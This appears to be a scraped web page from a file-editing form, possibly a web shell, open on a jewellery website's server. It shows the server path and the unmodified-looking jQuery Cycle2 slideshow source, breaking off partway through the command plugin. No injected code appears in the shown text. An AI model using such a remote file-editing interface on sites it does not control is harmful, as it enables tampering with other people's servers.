<h2>Edit File - jquery.cycle2.js</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/home/u548619843/domains/indusjewellery.com/public_html/Old-Site/assets/js/jquery.cycle2.js">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">/*!
* jQuery Cycle2; version: 2.1.6 build: 20141007
* http://jquery.malsup.com/cycle2/
* Copyright (c) 2014 M. Alsup; Dual licensed: MIT/GPL
*/

/* Cycle2 core engine */
;(function($) {
&quot;use strict&quot;;

var version = &#039;2.1.6&#039;;

$.fn.cycle = function( options ) {
    // fix mistakes with the ready state
    var o;
    if ( this.length === 0 &amp;&amp; !$.isReady ) {
        o = { s: this.selector, c: this.context };
        $.fn.cycle.log(&#039;requeuing slideshow (dom not ready)&#039;);
        $(function() {
            $( o.s, o.c ).cycle(options);
        });
        return this;
    }

    return this.each(function() {
        var data, opts, shortName, val;
        var container = $(this);
        var log = $.fn.cycle.log;

        if ( container.data(&#039;cycle.opts&#039;) )
            return; // already initialized

        if ( container.data(&#039;cycle-log&#039;) === false || 
            ( options &amp;&amp; options.log === false ) ||
            ( opts &amp;&amp; opts.log === false) ) {
            log = $.noop;
        }

        log(&#039;--c2 init--&#039;);
        data = container.data();
        for (var p in data) {
            // allow props to be accessed sans &#039;cycle&#039; prefix and log the overrides
            if (data.hasOwnProperty(p) &amp;&amp; /^cycle[A-Z]+/.test(p) ) {
                val = data[p];
                shortName = p.match(/^cycle(.*)/)[1].replace(/^[A-Z]/, lowerCase);
                log(shortName+&#039;:&#039;, val, &#039;(&#039;+typeof val +&#039;)&#039;);
                data[shortName] = val;
            }
        }

        opts = $.extend( {}, $.fn.cycle.defaults, data, options || {});

        opts.timeoutId = 0;
        opts.paused = opts.paused || false; // #57
        opts.container = container;
        opts._maxZ = opts.maxZ;

        opts.API = $.extend ( { _container: container }, $.fn.cycle.API );
        opts.API.log = log;
        opts.API.trigger = function( eventName, args ) {
            opts.container.trigger( eventName, args );
            return opts.API;
        };

        container.data( &#039;cycle.opts&#039;, opts );
        container.data( &#039;cycle.API&#039;, opts.API );

        // opportunity for plugins to modify opts and API
        opts.API.trigger(&#039;cycle-bootstrap&#039;, [ opts, opts.API ]);

        opts.API.addInitialSlides();
        opts.API.preInitSlideshow();

        if ( opts.slides.length )
            opts.API.initSlideshow();
    });
};

$.fn.cycle.API = {
    opts: function() {
        return this._container.data( &#039;cycle.opts&#039; );
    },
    addInitialSlides: function() {
        var opts = this.opts();
        var slides = opts.slides;
        opts.slideCount = 0;
        opts.slides = $(); // empty set
        
        // add slides that already exist
        slides = slides.jquery ? slides : opts.container.find( slides );

        if ( opts.random ) {
            slides.sort(function() {return Math.random() - 0.5;});
        }

        opts.API.add( slides );
    },

    preInitSlideshow: function() {
        var opts = this.opts();
        opts.API.trigger(&#039;cycle-pre-initialize&#039;, [ opts ]);
        var tx = $.fn.cycle.transitions[opts.fx];
        if (tx &amp;&amp; $.isFunction(tx.preInit))
            tx.preInit( opts );
        opts._preInitialized = true;
    },

    postInitSlideshow: function() {
        var opts = this.opts();
        opts.API.trigger(&#039;cycle-post-initialize&#039;, [ opts ]);
        var tx = $.fn.cycle.transitions[opts.fx];
        if (tx &amp;&amp; $.isFunction(tx.postInit))
            tx.postInit( opts );
    },

    initSlideshow: function() {
        var opts = this.opts();
        var pauseObj = opts.container;
        var slideOpts;
        opts.API.calcFirstSlide();

        if ( opts.container.css(&#039;position&#039;) == &#039;static&#039; )
            opts.container.css(&#039;position&#039;, &#039;relative&#039;);

        $(opts.slides[opts.currSlide]).css({
            opacity: 1,
            display: &#039;block&#039;,
            visibility: &#039;visible&#039;
        });
        opts.API.stackSlides( opts.slides[opts.currSlide], opts.slides[opts.nextSlide], !opts.reverse );

        if ( opts.pauseOnHover ) {
            // allow pauseOnHover to specify an element
            if ( opts.pauseOnHover !== true )
                pauseObj = $( opts.pauseOnHover );

            pauseObj.hover(
                function(){ opts.API.pause( true ); }, 
                function(){ opts.API.resume( true ); }
            );
        }

        // stage initial transition
        if ( opts.timeout ) {
            slideOpts = opts.API.getSlideOpts( opts.currSlide );
            opts.API.queueTransition( slideOpts, slideOpts.timeout + opts.delay );
        }

        opts._initialized = true;
        opts.API.updateView( true );
        opts.API.trigger(&#039;cycle-initialized&#039;, [ opts ]);
        opts.API.postInitSlideshow();
    },

    pause: function( hover ) {
        var opts = this.opts(),
            slideOpts = opts.API.getSlideOpts(),
            alreadyPaused = opts.hoverPaused || opts.paused;

        if ( hover )
            opts.hoverPaused = true; 
        else
            opts.paused = true;

        if ( ! alreadyPaused ) {
            opts.container.addClass(&#039;cycle-paused&#039;);
            opts.API.trigger(&#039;cycle-paused&#039;, [ opts ]).log(&#039;cycle-paused&#039;);

            if ( slideOpts.timeout ) {
                clearTimeout( opts.timeoutId );
                opts.timeoutId = 0;
                
                // determine how much time is left for the current slide
                opts._remainingTimeout -= ( $.now() - opts._lastQueue );
                if ( opts._remainingTimeout &lt; 0 || isNaN(opts._remainingTimeout) )
                    opts._remainingTimeout = undefined;
            }
        }
    },

    resume: function( hover ) {
        var opts = this.opts(),
            alreadyResumed = !opts.hoverPaused &amp;&amp; !opts.paused,
            remaining;

        if ( hover )
            opts.hoverPaused = false; 
        else
            opts.paused = false;

    
        if ( ! alreadyResumed ) {
            opts.container.removeClass(&#039;cycle-paused&#039;);
            // #gh-230; if an animation is in progress then don&#039;t queue a new transition; it will
            // happen naturally
            if ( opts.slides.filter(&#039;:animated&#039;).length === 0 )
                opts.API.queueTransition( opts.API.getSlideOpts(), opts._remainingTimeout );
            opts.API.trigger(&#039;cycle-resumed&#039;, [ opts, opts._remainingTimeout ] ).log(&#039;cycle-resumed&#039;);
        }
    },

    add: function( slides, prepend ) {
        var opts = this.opts();
        var oldSlideCount = opts.slideCount;
        var startSlideshow = false;
        var len;

        if ( $.type(slides) == &#039;string&#039;)
            slides = $.trim( slides );

        $( slides ).each(function(i) {
            var slideOpts;
            var slide = $(this);

            if ( prepend )
                opts.container.prepend( slide );
            else
                opts.container.append( slide );

            opts.slideCount++;
            slideOpts = opts.API.buildSlideOpts( slide );

            if ( prepend )
                opts.slides = $( slide ).add( opts.slides );
            else
                opts.slides = opts.slides.add( slide );

            opts.API.initSlide( slideOpts, slide, --opts._maxZ );

            slide.data(&#039;cycle.opts&#039;, slideOpts);
            opts.API.trigger(&#039;cycle-slide-added&#039;, [ opts, slideOpts, slide ]);
        });

        opts.API.updateView( true );

        startSlideshow = opts._preInitialized &amp;&amp; (oldSlideCount &lt; 2 &amp;&amp; opts.slideCount &gt;= 1);
        if ( startSlideshow ) {
            if ( !opts._initialized )
                opts.API.initSlideshow();
            else if ( opts.timeout ) {
                len = opts.slides.length;
                opts.nextSlide = opts.reverse ? len - 1 : 1;
                if ( !opts.timeoutId ) {
                    opts.API.queueTransition( opts );
                }
            }
        }
    },

    calcFirstSlide: function() {
        var opts = this.opts();
        var firstSlideIndex;
        firstSlideIndex = parseInt( opts.startingSlide || 0, 10 );
        if (firstSlideIndex &gt;= opts.slides.length || firstSlideIndex &lt; 0)
            firstSlideIndex = 0;

        opts.currSlide = firstSlideIndex;
        if ( opts.reverse ) {
            opts.nextSlide = firstSlideIndex - 1;
            if (opts.nextSlide &lt; 0)
                opts.nextSlide = opts.slides.length - 1;
        }
        else {
            opts.nextSlide = firstSlideIndex + 1;
            if (opts.nextSlide == opts.slides.length)
                opts.nextSlide = 0;
        }
    },

    calcNextSlide: function() {
        var opts = this.opts();
        var roll;
        if ( opts.reverse ) {
            roll = (opts.nextSlide - 1) &lt; 0;
            opts.nextSlide = roll ? opts.slideCount - 1 : opts.nextSlide-1;
            opts.currSlide = roll ? 0 : opts.nextSlide+1;
        }
        else {
            roll = (opts.nextSlide + 1) == opts.slides.length;
            opts.nextSlide = roll ? 0 : opts.nextSlide+1;
            opts.currSlide = roll ? opts.slides.length-1 : opts.nextSlide-1;
        }
    },

    calcTx: function( slideOpts, manual ) {
        var opts = slideOpts;
        var tx;

        if ( opts._tempFx )
            tx = $.fn.cycle.transitions[opts._tempFx];
        else if ( manual &amp;&amp; opts.manualFx )
            tx = $.fn.cycle.transitions[opts.manualFx];

        if ( !tx )
            tx = $.fn.cycle.transitions[opts.fx];

        opts._tempFx = null;
        this.opts()._tempFx = null;

        if (!tx) {
            tx = $.fn.cycle.transitions.fade;
            opts.API.log(&#039;Transition &quot;&#039; + opts.fx + &#039;&quot; not found.  Using fade.&#039;);
        }
        return tx;
    },

    prepareTx: function( manual, fwd ) {
        var opts = this.opts();
        var after, curr, next, slideOpts, tx;

        if ( opts.slideCount &lt; 2 ) {
            opts.timeoutId = 0;
            return;
        }
        if ( manual &amp;&amp; ( !opts.busy || opts.manualTrump ) ) {
            opts.API.stopTransition();
            opts.busy = false;
            clearTimeout(opts.timeoutId);
            opts.timeoutId = 0;
        }
        if ( opts.busy )
            return;
        if ( opts.timeoutId === 0 &amp;&amp; !manual )
            return;

        curr = opts.slides[opts.currSlide];
        next = opts.slides[opts.nextSlide];
        slideOpts = opts.API.getSlideOpts( opts.nextSlide );
        tx = opts.API.calcTx( slideOpts, manual );

        opts._tx = tx;

        if ( manual &amp;&amp; slideOpts.manualSpeed !== undefined )
            slideOpts.speed = slideOpts.manualSpeed;

        // if ( opts.nextSlide === opts.currSlide )
        //     opts.API.calcNextSlide();

        // ensure that:
        //      1. advancing to a different slide
        //      2. this is either a manual event (prev/next, pager, cmd) or 
        //              a timer event and slideshow is not paused
        if ( opts.nextSlide != opts.currSlide &amp;&amp; 
            (manual || (!opts.paused &amp;&amp; !opts.hoverPaused &amp;&amp; opts.timeout) )) { // #62

            opts.API.trigger(&#039;cycle-before&#039;, [ slideOpts, curr, next, fwd ]);
            if ( tx.before )
                tx.before( slideOpts, curr, next, fwd );

            after = function() {
                opts.busy = false;
                // #76; bail if slideshow has been destroyed
                if (! opts.container.data( &#039;cycle.opts&#039; ) )
                    return;

                if (tx.after)
                    tx.after( slideOpts, curr, next, fwd );
                opts.API.trigger(&#039;cycle-after&#039;, [ slideOpts, curr, next, fwd ]);
                opts.API.queueTransition( slideOpts);
                opts.API.updateView( true );
            };

            opts.busy = true;
            if (tx.transition)
                tx.transition(slideOpts, curr, next, fwd, after);
            else
                opts.API.doTransition( slideOpts, curr, next, fwd, after);

            opts.API.calcNextSlide();
            opts.API.updateView();
        } else {
            opts.API.queueTransition( slideOpts );
        }
    },

    // perform the actual animation
    doTransition: function( slideOpts, currEl, nextEl, fwd, callback) {
        var opts = slideOpts;
        var curr = $(currEl), next = $(nextEl);
        var fn = function() {
            // make sure animIn has something so that callback doesn&#039;t trigger immediately
            next.animate(opts.animIn || { opacity: 1}, opts.speed, opts.easeIn || opts.easing, callback);
        };

        next.css(opts.cssBefore || {});
        curr.animate(opts.animOut || {}, opts.speed, opts.easeOut || opts.easing, function() {
            curr.css(opts.cssAfter || {});
            if (!opts.sync) {
                fn();
            }
        });
        if (opts.sync) {
            fn();
        }
    },

    queueTransition: function( slideOpts, specificTimeout ) {
        var opts = this.opts();
        var timeout = specificTimeout !== undefined ? specificTimeout : slideOpts.timeout;
        if (opts.nextSlide === 0 &amp;&amp; --opts.loop === 0) {
            opts.API.log(&#039;terminating; loop=0&#039;);
            opts.timeout = 0;
            if ( timeout ) {
                setTimeout(function() {
                    opts.API.trigger(&#039;cycle-finished&#039;, [ opts ]);
                }, timeout);
            }
            else {
                opts.API.trigger(&#039;cycle-finished&#039;, [ opts ]);
            }
            // reset nextSlide
            opts.nextSlide = opts.currSlide;
            return;
        }
        if ( opts.continueAuto !== undefined ) {
            if ( opts.continueAuto === false || 
                ($.isFunction(opts.continueAuto) &amp;&amp; opts.continueAuto() === false )) {
                opts.API.log(&#039;terminating automatic transitions&#039;);
                opts.timeout = 0;
                if ( opts.timeoutId )
                    clearTimeout(opts.timeoutId);
                return;
            }
        }
        if ( timeout ) {
            opts._lastQueue = $.now();
            if ( specificTimeout === undefined )
                opts._remainingTimeout = slideOpts.timeout;

            if ( !opts.paused &amp;&amp; ! opts.hoverPaused ) {
                opts.timeoutId = setTimeout(function() { 
                    opts.API.prepareTx( false, !opts.reverse ); 
                }, timeout );
            }
        }
    },

    stopTransition: function() {
        var opts = this.opts();
        if ( opts.slides.filter(&#039;:animated&#039;).length ) {
            opts.slides.stop(false, true);
            opts.API.trigger(&#039;cycle-transition-stopped&#039;, [ opts ]);
        }

        if ( opts._tx &amp;&amp; opts._tx.stopTransition )
            opts._tx.stopTransition( opts );
    },

    // advance slide forward or back
    advanceSlide: function( val ) {
        var opts = this.opts();
        clearTimeout(opts.timeoutId);
        opts.timeoutId = 0;
        opts.nextSlide = opts.currSlide + val;
        
        if (opts.nextSlide &lt; 0)
            opts.nextSlide = opts.slides.length - 1;
        else if (opts.nextSlide &gt;= opts.slides.length)
            opts.nextSlide = 0;

        opts.API.prepareTx( true,  val &gt;= 0 );
        return false;
    },

    buildSlideOpts: function( slide ) {
        var opts = this.opts();
        var val, shortName;
        var slideOpts = slide.data() || {};
        for (var p in slideOpts) {
            // allow props to be accessed sans &#039;cycle&#039; prefix and log the overrides
            if (slideOpts.hasOwnProperty(p) &amp;&amp; /^cycle[A-Z]+/.test(p) ) {
                val = slideOpts[p];
                shortName = p.match(/^cycle(.*)/)[1].replace(/^[A-Z]/, lowerCase);
                opts.API.log(&#039;[&#039;+(opts.slideCount-1)+&#039;]&#039;, shortName+&#039;:&#039;, val, &#039;(&#039;+typeof val +&#039;)&#039;);
                slideOpts[shortName] = val;
            }
        }

        slideOpts = $.extend( {}, $.fn.cycle.defaults, opts, slideOpts );
        slideOpts.slideNum = opts.slideCount;

        try {
            // these props should always be read from the master state object
            delete slideOpts.API;
            delete slideOpts.slideCount;
            delete slideOpts.currSlide;
            delete slideOpts.nextSlide;
            delete slideOpts.slides;
        } catch(e) {
            // no op
        }
        return slideOpts;
    },

    getSlideOpts: function( index ) {
        var opts = this.opts();
        if ( index === undefined )
            index = opts.currSlide;

        var slide = opts.slides[index];
        var slideOpts = $(slide).data(&#039;cycle.opts&#039;);
        return $.extend( {}, opts, slideOpts );
    },
    
    initSlide: function( slideOpts, slide, suggestedZindex ) {
        var opts = this.opts();
        slide.css( slideOpts.slideCss || {} );
        if ( suggestedZindex &gt; 0 )
            slide.css( &#039;zIndex&#039;, suggestedZindex );

        // ensure that speed settings are sane
        if ( isNaN( slideOpts.speed ) )
            slideOpts.speed = $.fx.speeds[slideOpts.speed] || $.fx.speeds._default;
        if ( !slideOpts.sync )
            slideOpts.speed = slideOpts.speed / 2;

        slide.addClass( opts.slideClass );
    },

    updateView: function( isAfter, isDuring, forceEvent ) {
        var opts = this.opts();
        if ( !opts._initialized )
            return;
        var slideOpts = opts.API.getSlideOpts();
        var currSlide = opts.slides[ opts.currSlide ];

        if ( ! isAfter &amp;&amp; isDuring !== true ) {
            opts.API.trigger(&#039;cycle-update-view-before&#039;, [ opts, slideOpts, currSlide ]);
            if ( opts.updateView &lt; 0 )
                return;
        }

        if ( opts.slideActiveClass ) {
            opts.slides.removeClass( opts.slideActiveClass )
                .eq( opts.currSlide ).addClass( opts.slideActiveClass );
        }

        if ( isAfter &amp;&amp; opts.hideNonActive )
            opts.slides.filter( &#039;:not(.&#039; + opts.slideActiveClass + &#039;)&#039; ).css(&#039;visibility&#039;, &#039;hidden&#039;);

        if ( opts.updateView === 0 ) {
            setTimeout(function() {
                opts.API.trigger(&#039;cycle-update-view&#039;, [ opts, slideOpts, currSlide, isAfter ]);
            }, slideOpts.speed / (opts.sync ? 2 : 1) );
        }

        if ( opts.updateView !== 0 )
            opts.API.trigger(&#039;cycle-update-view&#039;, [ opts, slideOpts, currSlide, isAfter ]);
        
        if ( isAfter )
            opts.API.trigger(&#039;cycle-update-view-after&#039;, [ opts, slideOpts, currSlide ]);
    },

    getComponent: function( name ) {
        var opts = this.opts();
        var selector = opts[name];
        if (typeof selector === &#039;string&#039;) {
            // if selector is a child, sibling combinator, adjancent selector then use find, otherwise query full dom
            return (/^\s*[\&gt;|\+|~]/).test( selector ) ? opts.container.find( selector ) : $( selector );
        }
        if (selector.jquery)
            return selector;
        
        return $(selector);
    },

    stackSlides: function( curr, next, fwd ) {
        var opts = this.opts();
        if ( !curr ) {
            curr = opts.slides[opts.currSlide];
            next = opts.slides[opts.nextSlide];
            fwd = !opts.reverse;
        }

        // reset the zIndex for the common case:
        // curr slide on top,  next slide beneath, and the rest in order to be shown
        $(curr).css(&#039;zIndex&#039;, opts.maxZ);

        var i;
        var z = opts.maxZ - 2;
        var len = opts.slideCount;
        if (fwd) {
            for ( i = opts.currSlide + 1; i &lt; len; i++ )
                $( opts.slides[i] ).css( &#039;zIndex&#039;, z-- );
            for ( i = 0; i &lt; opts.currSlide; i++ )
                $( opts.slides[i] ).css( &#039;zIndex&#039;, z-- );
        }
        else {
            for ( i = opts.currSlide - 1; i &gt;= 0; i-- )
                $( opts.slides[i] ).css( &#039;zIndex&#039;, z-- );
            for ( i = len - 1; i &gt; opts.currSlide; i-- )
                $( opts.slides[i] ).css( &#039;zIndex&#039;, z-- );
        }

        $(next).css(&#039;zIndex&#039;, opts.maxZ - 1);
    },

    getSlideIndex: function( el ) {
        return this.opts().slides.index( el );
    }

}; // API

// default logger
$.fn.cycle.log = function log() {
    /*global console:true */
    if (window.console &amp;&amp; console.log)
        console.log(&#039;[cycle2] &#039; + Array.prototype.join.call(arguments, &#039; &#039;) );
};

$.fn.cycle.version = function() { return &#039;Cycle2: &#039; + version; };

// helper functions

function lowerCase(s) {
    return (s || &#039;&#039;).toLowerCase();
}

// expose transition object
$.fn.cycle.transitions = {
    custom: {
    },
    none: {
        before: function( opts, curr, next, fwd ) {
            opts.API.stackSlides( next, curr, fwd );
            opts.cssBefore = { opacity: 1, visibility: &#039;visible&#039;, display: &#039;block&#039; };
        }
    },
    fade: {
        before: function( opts, curr, next, fwd ) {
            var css = opts.API.getSlideOpts( opts.nextSlide ).slideCss || {};
            opts.API.stackSlides( curr, next, fwd );
            opts.cssBefore = $.extend(css, { opacity: 0, visibility: &#039;visible&#039;, display: &#039;block&#039; });
            opts.animIn = { opacity: 1 };
            opts.animOut = { opacity: 0 };
        }
    },
    fadeout: {
        before: function( opts , curr, next, fwd ) {
            var css = opts.API.getSlideOpts( opts.nextSlide ).slideCss || {};
            opts.API.stackSlides( curr, next, fwd );
            opts.cssBefore = $.extend(css, { opacity: 1, visibility: &#039;visible&#039;, display: &#039;block&#039; });
            opts.animOut = { opacity: 0 };
        }
    },
    scrollHorz: {
        before: function( opts, curr, next, fwd ) {
            opts.API.stackSlides( curr, next, fwd );
            var w = opts.container.css(&#039;overflow&#039;,&#039;hidden&#039;).width();
            opts.cssBefore = { left: fwd ? w : - w, top: 0, opacity: 1, visibility: &#039;visible&#039;, display: &#039;block&#039; };
            opts.cssAfter = { zIndex: opts._maxZ - 2, left: 0 };
            opts.animIn = { left: 0 };
            opts.animOut = { left: fwd ? -w : w };
        }
    }
};

// @see: http://jquery.malsup.com/cycle2/api
$.fn.cycle.defaults = {
    allowWrap:        true,
    autoSelector:     &#039;.cycle-slideshow[data-cycle-auto-init!=false]&#039;,
    delay:            0,
    easing:           null,
    fx:              &#039;fade&#039;,
    hideNonActive:    true,
    loop:             0,
    manualFx:         undefined,
    manualSpeed:      undefined,
    manualTrump:      true,
    maxZ:             100,
    pauseOnHover:     false,
    reverse:          false,
    slideActiveClass: &#039;cycle-slide-active&#039;,
    slideClass:       &#039;cycle-slide&#039;,
    slideCss:         { position: &#039;absolute&#039;, top: 0, left: 0 },
    slides:          &#039;&gt; img&#039;,
    speed:            1000,
    startingSlide:    0,
    sync:             true,
    timeout:          4000,
    updateView:       0
};

// automatically find and run slideshows
$(document).ready(function() {
    $( $.fn.cycle.defaults.autoSelector ).cycle();
});

})(jQuery);

/*! Cycle2 autoheight plugin; Copyright (c) M.Alsup, 2012; version: 20130913 */
(function($) {
&quot;use strict&quot;;

$.extend($.fn.cycle.defaults, {
    autoHeight: 0, // setting this option to false disables autoHeight logic
    autoHeightSpeed: 250,
    autoHeightEasing: null
});    

$(document).on( &#039;cycle-initialized&#039;, function( e, opts ) {
    var autoHeight = opts.autoHeight;
    var t = $.type( autoHeight );
    var resizeThrottle = null;
    var ratio;

    if ( t !== &#039;string&#039; &amp;&amp; t !== &#039;number&#039; )
        return;

    // bind events
    opts.container.on( &#039;cycle-slide-added cycle-slide-removed&#039;, initAutoHeight );
    opts.container.on( &#039;cycle-destroyed&#039;, onDestroy );

    if ( autoHeight == &#039;container&#039; ) {
        opts.container.on( &#039;cycle-before&#039;, onBefore );
    }
    else if ( t === &#039;string&#039; &amp;&amp; /\d+\:\d+/.test( autoHeight ) ) { 
        // use ratio
        ratio = autoHeight.match(/(\d+)\:(\d+)/);
        ratio = ratio[1] / ratio[2];
        opts._autoHeightRatio = ratio;
    }

    // if autoHeight is a number then we don&#039;t need to recalculate the sentinel
    // index on resize
    if ( t !== &#039;number&#039; ) {
        // bind unique resize handler per slideshow (so it can be &#039;off-ed&#039; in onDestroy)
        opts._autoHeightOnResize = function () {
            clearTimeout( resizeThrottle );
            resizeThrottle = setTimeout( onResize, 50 );
        };

        $(window).on( &#039;resize orientationchange&#039;, opts._autoHeightOnResize );
    }

    setTimeout( onResize, 30 );

    function onResize() {
        initAutoHeight( e, opts );
    }
});

function initAutoHeight( e, opts ) {
    var clone, height, sentinelIndex;
    var autoHeight = opts.autoHeight;

    if ( autoHeight == &#039;container&#039; ) {
        height = $( opts.slides[ opts.currSlide ] ).outerHeight();
        opts.container.height( height );
    }
    else if ( opts._autoHeightRatio ) { 
        opts.container.height( opts.container.width() / opts._autoHeightRatio );
    }
    else if ( autoHeight === &#039;calc&#039; || ( $.type( autoHeight ) == &#039;number&#039; &amp;&amp; autoHeight &gt;= 0 ) ) {
        if ( autoHeight === &#039;calc&#039; )
            sentinelIndex = calcSentinelIndex( e, opts );
        else if ( autoHeight &gt;= opts.slides.length )
            sentinelIndex = 0;
        else 
            sentinelIndex = autoHeight;

        // only recreate sentinel if index is different
        if ( sentinelIndex == opts._sentinelIndex )
            return;

        opts._sentinelIndex = sentinelIndex;
        if ( opts._sentinel )
            opts._sentinel.remove();

        // clone existing slide as sentinel
        clone = $( opts.slides[ sentinelIndex ].cloneNode(true) );
        
        // #50; remove special attributes from cloned content
        clone.removeAttr( &#039;id name rel&#039; ).find( &#039;[id],[name],[rel]&#039; ).removeAttr( &#039;id name rel&#039; );

        clone.css({
            position: &#039;static&#039;,
            visibility: &#039;hidden&#039;,
            display: &#039;block&#039;
        }).prependTo( opts.container ).addClass(&#039;cycle-sentinel cycle-slide&#039;).removeClass(&#039;cycle-slide-active&#039;);
        clone.find( &#039;*&#039; ).css( &#039;visibility&#039;, &#039;hidden&#039; );

        opts._sentinel = clone;
    }
}    

function calcSentinelIndex( e, opts ) {
    var index = 0, max = -1;

    // calculate tallest slide index
    opts.slides.each(function(i) {
        var h = $(this).height();
        if ( h &gt; max ) {
            max = h;
            index = i;
        }
    });
    return index;
}

function onBefore( e, opts, outgoing, incoming, forward ) {
    var h = $(incoming).outerHeight();
    opts.container.animate( { height: h }, opts.autoHeightSpeed, opts.autoHeightEasing );
}

function onDestroy( e, opts ) {
    if ( opts._autoHeightOnResize ) {
        $(window).off( &#039;resize orientationchange&#039;, opts._autoHeightOnResize );
        opts._autoHeightOnResize = null;
    }
    opts.container.off( &#039;cycle-slide-added cycle-slide-removed&#039;, initAutoHeight );
    opts.container.off( &#039;cycle-destroyed&#039;, onDestroy );
    opts.container.off( &#039;cycle-before&#039;, onBefore );

    if ( opts._sentinel ) {
        opts._sentinel.remove();
        opts._sentinel = null;
    }
}

})(jQuery);

/*! caption plugin for Cycle2;  version: 20130306 */
(function($) {
&quot;use strict&quot;;

$.extend($.fn.cycle.defaults, {
    caption:          &#039;&gt; .cycle-caption&#039;,
    captionTemplate:  &#039;{{slideNum}} / {{slideCount}}&#039;,
    overlay:          &#039;&gt; .cycle-overlay&#039;,
    overlayTemplate:  &#039;&lt;div&gt;{{title}}&lt;/div&gt;&lt;div&gt;{{desc}}&lt;/div&gt;&#039;,
    captionModule:    &#039;caption&#039;
});    

$(document).on( &#039;cycle-update-view&#039;, function( e, opts, slideOpts, currSlide ) {
    if ( opts.captionModule !== &#039;caption&#039; )
        return;
    var el;
    $.each([&#039;caption&#039;,&#039;overlay&#039;], function() {
        var name = this; 
        var template = slideOpts[name+&#039;Template&#039;];
        var el = opts.API.getComponent( name );
        if( el.length &amp;&amp; template ) {
            el.html( opts.API.tmpl( template, slideOpts, opts, currSlide ) );
            el.show();
        }
        else {
            el.hide();
        }
    });
});

$(document).on( &#039;cycle-destroyed&#039;, function( e, opts ) {
    var el;
    $.each([&#039;caption&#039;,&#039;overlay&#039;], function() {
        var name = this, template = opts[name+&#039;Template&#039;];
        if ( opts[name] &amp;&amp; template ) {
            el = opts.API.getComponent( &#039;caption&#039; );
            el.empty();
        }
    });
});

})(jQuery);

/*! command plugin for Cycle2;  version: 20140415 */
(function($) {
&quot;use strict&quot;;

var c2 = $.fn.cycle;

$.fn.cycle = function( options ) {
    var cmd, cmdFn, opts;
    var args = $.makeArray( arguments );

    if ( $.type( options ) == &#039;number&#039; ) {
        return this.cycle( &#039;goto&#039;, options );
    }

    if ( $.type( options ) == &#039;string&#039; ) {
        return this.each(function() {
            var cmdArgs;
            cmd = options;
            opts = $(this).data(&#039;cycle.opts&#039;);

            if ( opts === undefined ) {
                c2.log(&#039;slideshow must be initialized before sending commands; &quot;&#039; + cmd + &#039;&quot; ignored&#039;);
                return;
            }
            else {
                cmd = cmd == &#039;goto&#039; ? &#039;jump&#039; : cmd; // issue #3; change &#039;goto&#039; to &#039;jump&#039; internally
                cmdFn = opts.API[ cmd ];
                if ( $.isFunction( cmdFn )) {
                    cmdArgs = $.makeArray( args );
                    cmdArgs.shift();
                    return cmdFn.apply( opts.API, cmdArgs );
                }
                else {
                    c2.log( &#039;unknown command: &#039;, cmd );
                }
            }
        });
    }
    else {
        return c2.apply( this, arguments );
    }
};

// copy props
$.extend( $.fn.cycle, c2 );

$.extend( c2.API, {
    next: function() {
        var opts = this.opts();
        if ( opts.busy &amp;&amp; ! opts.manualTrump )
            return;

        var count = opts.reverse ? -1 : 1;
        if ( opts.allowWrap === false &amp;&amp; ( opts.currSlide + count ) &gt;= opts.slideCount )
            return;

        opts.API.advanceSlide( count );
        opts.API.trigger(&#039;cycle-next&#039;, [ opts ]).log(&#039;cycle-next&#039;);
    },

    prev: function() {
        var opts = this.opts();
        if ( opts.busy &amp;&amp; ! opts.manualTrump )
            return;
        var count = opts.reverse ? 1 : -1;
        if ( opts.allowWrap === false &amp;&amp; ( opts.currSlide + count ) &lt; 0 )
            return;

        opts.API.advanceSlide( count );
        opts.API.trigger(&#039;cycle-prev&#039;, [ opts ]).log(&#039;cycle-prev&#039;);
    },

    destroy: function() {
        this.stop(); //#204

        var opts = this.opts();
        var clean = $.isFunction( $._data ) ? $._data : $.noop;  // hack for #184 and #201
        clearTimeout(opts.timeoutId);
        opts.timeoutId = 0;
        opts.API.stop();
        opts.API.trigger( &#039;cycle-destroyed&#039;, [ opts ] ).log(&#039;cycle-destroyed&#039;);
        opts.container.removeData();
        clean( opts.container[0], &#039;parsedAttrs&#039;, false );

        // #75; remove inline styles
        if ( ! opts.retainStylesOnDestroy ) {
            opts.container.removeAttr( &#039;style&#039; );
            opts.slides.removeAttr( &#039;style&#039; );
            opts.slides.removeClass( opts.slideActiveClass );
        }
        opts.slides.each(function() {
            var slide = $(this);
            slide.removeData();
            slide.removeClass( opts.slideClass );
            clean( this, &#039;parsedAttrs&#039;, false );
        });
    },

    jump: function( index, fx ) {
        // go to the requested slide
        var fwd;
        var opts = this.opts();
        if ( opts.busy &amp;&amp; ! opts.manualTrump )
            return;
        var num = parseInt( index, 10 );
        if (isNaN(num) || num &lt; 0 || num &gt;= opts.slides.length) {
            opts.API.log(&#039;goto: invalid slide index: &#039; + num);
            return;
        }
        if (num == opts.currSlide) {
            opts.API.log(&#039;goto: skipping, already on slide&#039;, num);
            return;
        }
        opts.nextSlide = num;
        clearTimeout(opts.timeoutId);
        opts.timeoutId = 0;
        opts.API.log(&#039;goto: &#039;, num, &#039; (zero-index)&#039;);
        fwd = opts.currSlide &lt; opts.nextSlide;
        opts._tempFx = fx;
        opts.API.prepareTx( true, fwd );
    },

    stop: function() {
        var opts = this.opts();
        var pauseObj = opts.container;
        clearTimeout(opts.timeoutId);
        opts.timeoutId = 0;
        opts.API.stopTransition();
        if ( opts.pauseOnHover ) {
            if ( opts.pauseOnHover !== true )
                pauseObj = $( opts.pauseOnHover );
            pauseObj.off(&#039;mouseenter mouseleave&#039;);
        }
        opts.API.trigger(&#039;cycle-stopped&#039;, [ opts ]).log(&#039;cycle-stopped&#039;);
    },

    reinit: function() {
        var opts = this.opts();
        opts.API.destroy();
        opts.container.cycle();
    },

    remove: function( index ) {
        var opts = this.opts();
        var slide, slideToRemove, slides = [], slideNum = 1;
        for ( var i=0; i &lt; opts.slides.length; i++ ) {
            slide = opts.slides[i];
            if ( i == index ) {
                slideToRemove = slide;
            }
            else {
                slides.push( slide );
                $( slide ).data(&#039;cycle.opts&#039;).slideNum = slideNum;
                slideNum++;
            }
        }
        if ( slideToRemove ) {
            opts.slides = $( slides );
            opts.slideCount--;
            $( slideToRemove ).remove();
            if (index == opts.currSlide)
                opts.API.advanceSlide( 1 );
            else if ( index &lt; opts.currSlide )
                opts.currSlide--;
            else
                opts.currSlide++;

            opts.API.trigger(&#039;cycle-slide-removed&#039;, [ opts, index, slideToRemove ]).log(&#039;cycle-slide-removed&#039;);
            opts.API.updateView();
        }
    }

});

